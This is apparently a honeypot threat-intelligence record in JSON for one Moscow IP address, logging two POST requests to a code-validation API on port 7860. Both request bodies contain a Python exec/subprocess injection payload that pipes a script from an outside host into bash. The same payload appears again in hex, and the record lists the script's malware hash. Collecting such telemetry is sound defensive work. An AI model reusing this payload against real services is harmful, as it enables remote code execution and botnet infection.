{"ip":"144.31.48.3","total_events":2,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"2 loader / command-injection payload(s)","confidence":"medium","network_type":"nsp","why":["2 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","This is the same evidence that puts an address in the public exploiter feed, so the feed and this page now agree.","Payload evidence stands on its own: one request that fetches a botnet binary is exploitation, not probing.","Not in any known-scanner range."],"engagement":{"level":"request","label":"Request traffic","detail":"731 bytes sent","bytes_sent":731,"session_seconds":0,"persistent":false}},"first_seen":"2026-08-11T23:56:28","last_seen":"2026-08-12T02:09:37","events_24h":0,"events_7d":0,"geo":{"country_code":"RU","country_name":"Russia","region":"Moscow","city":"Moscow","lat":55.7487,"lon":37.6187,"asn":33842,"org":"Citytelecom LLC"},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as33842","label":"Cross Tel","category":"isp","url":"https://www.peeringdb.com/asn/33842"},"cve_matches":[],"malware":[{"sha256":"6a93937c39f961c4a3efa7fd4aa8c2e7c7a9bd32f136261d6a9b47874e81b884","family":"shell","vt_name":"dl.sh","malicious":4,"total":75,"vt_status":"uploaded","delivery":"curl","url_path":"/api/v1/validate/code","dest_port":7860,"hits":1,"last_seen":"2026-08-11 23:56:28"}],"top_ports":[{"port":7860,"proto":"tcp","label":"","count":2}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[],"ja4h":["po11nn0500_b4ba55311b46"]},"fingerprint_peers":{"po11nn0500_b4ba55311b46":92},"user_agents":["Go-http-client/1.1"],"timeline":[{"date":"2026-08-11","count":1},{"date":"2026-08-12","count":1}],"recent_events":[{"timestamp":"2026-08-12T02:09:37","port":7860,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"192\",\"content-type\":\"application/json\",\"host\":\"<HONEYPOT>:7860\",\"user-agent\":\"Go-http-client/1.1\"}","body":"{\"code\":\"def run(cd=exec('raise Exception(__import__(\\\"subprocess\\\").check_output(\\\"(curl -s http://31.56.209.84/dl.sh || wget -qO- http://31.56.209.84/dl.sh) | bash\\\", shell=True))')): pass\"}","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/api/v1/validate/code","summary":"","payload_hex":"504f5354202f6170692f76312f76616c69646174652f636f646520485454502f312e310d0a486f73743a20<HONEYPOT>3a373836300d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a436f6e74656e742d4c656e6774683a203139320d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b22636f6465223a226465662072756e2863643d657865632827726169736520457863657074696f6e285f5f696d706f72745f5f285c2273756270726f636573735c22292e636865636b5f6f7574707574285c22286375726c202d7320687474703a2f2f33312e35362e3230392e38342f646c2e7368207c7c2077676574202d714f2d20687474703a2f2f33312e35362e3230392e38342f646c2e736829207c20626173685c222c207368656c6c3d5472756529292729293a2070617373227d","method":"POST","user_agent":"Go-http-client/1.1","ja3":"","session":"d6cbd7c0-25e0-4c93-bab2-06b0debaef39","seq":1,"duration_ms":101,"bytes_in":366,"bytes_out":76},{"timestamp":"2026-08-11T23:56:28","port":7860,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"gzip\",\"content-length\":\"192\",\"content-type\":\"application/json\",\"host\":\"<HONEYPOT>:7860\",\"user-agent\":\"Go-http-client/1.1\"}","body":"{\"code\":\"def run(cd=exec('raise Exception(__import__(\\\"subprocess\\\").check_output(\\\"(curl -s http://31.56.209.84/dl.sh || wget -qO- http://31.56.209.84/dl.sh) | bash\\\", shell=True))')): pass\"}","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/api/v1/validate/code","summary":"","payload_hex":"504f5354202f6170692f76312f76616c69646174652f636f646520485454502f312e310d0a486f73743a20<HONEYPOT>3a373836300d0a557365722d4167656e743a20476f2d687474702d636c69656e742f312e310d0a436f6e74656e742d4c656e6774683a203139320d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a7b22636f6465223a226465662072756e2863643d657865632827726169736520457863657074696f6e285f5f696d706f72745f5f285c2273756270726f636573735c22292e636865636b5f6f7574707574285c22286375726c202d7320687474703a2f2f33312e35362e3230392e38342f646c2e7368207c7c2077676574202d714f2d20687474703a2f2f33312e35362e3230392e38342f646c2e736829207c20626173685c222c207368656c6c3d5472756529292729293a2070617373227d","method":"POST","user_agent":"Go-http-client/1.1","ja3":"","session":"4ab23263-1e53-425b-a33d-5ffbb6f72e66","seq":1,"duration_ms":100,"bytes_in":365,"bytes_out":76}],"http_methods":[{"method":"POST","count":2}],"distinct_ports_total":1,"top_paths":[{"path":"/api/v1/validate/code","count":2,"ports":1}],"distinct_paths_total":1,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept-Encoding","Content-Length","Content-Type","Host","User-Agent"],"representative":[{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Content-Length","value":"192","notable":false},{"name":"Content-Type","value":"application/json","notable":true},{"name":"Host","value":"<HONEYPOT>:7860","notable":false},{"name":"User-Agent","value":"Go-http-client/1.1","notable":false}],"distinct_sets":1,"events_with_headers":2},"tags":[],"data_as_of":"2026-09-11T18:50:54.179354+00:00"}